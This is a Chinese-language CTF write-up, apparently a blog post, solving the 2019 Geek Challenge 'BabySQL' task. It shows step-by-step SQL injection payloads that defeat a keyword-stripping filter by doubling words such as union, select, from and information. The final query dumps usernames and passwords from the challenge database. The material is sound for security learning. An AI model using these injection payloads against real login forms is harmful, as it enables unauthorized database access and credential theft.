[极客大挑战 2019]BabySQL

尝试:
?username=admin&password=1' or 1=1#

在这里插入图片描述
?username=admin&password=1' and 1=6#
在这里插入图片描述
仔细看报错信息的最后1=1 和1=6。我们可以怀疑and和or是被替换成
尝试双写:

?username=admin&password=pwd' anandd 1=6#

在这里插入图片描述
页面不报错了,显示正常的输入错误信息,由此的知是有关键词被替换成空的,可能是利用了replace函数
继续测试union 、select 、 information等等这样的关键词
?username=admin&password=pwd' union select 1,2#
在这里插入图片描述
?username=admin&password=pwd' union selecselectt 1,2#
在这里插入图片描述
发现select也是被过滤的,双写即可…


?username=admin&password=pwd' uniounionn selecselectt 1,2#
在这里插入图片描述
发现回显不一样了,提示列不一致,说明了union也是被过滤


?username=admin&password=pwd' uniounionn selecselectt 1,2,3#
在这里插入图片描述
发现正常回显,说明有select了三列,但第二三个位置才有回显


pwd' uniounionn seselectlect 1,2,group_concat(table_name) frofromm information_schema.tables where table_schema=database() #

在这里插入图片描述
发现where也被过滤了,那么双写,同时可以猜到from也要双写


pwd' uniounionn seselectlect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema=database() #
在这里插入图片描述
注意这里的information要写作infoorrmation才行


最终:
pwd' uniounionn seselectlect 1,2,group_concat(id,username,passwoorrd) frofromm b4bsql #

需要group_concat()将所有结果汇聚到一个显示占位,因为有可能显示是不会显示全部的

总结:

这题主要是将关键词替换成空的问题,双写是解决办法
同时, 检测过滤内容才是整道题最为关键的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值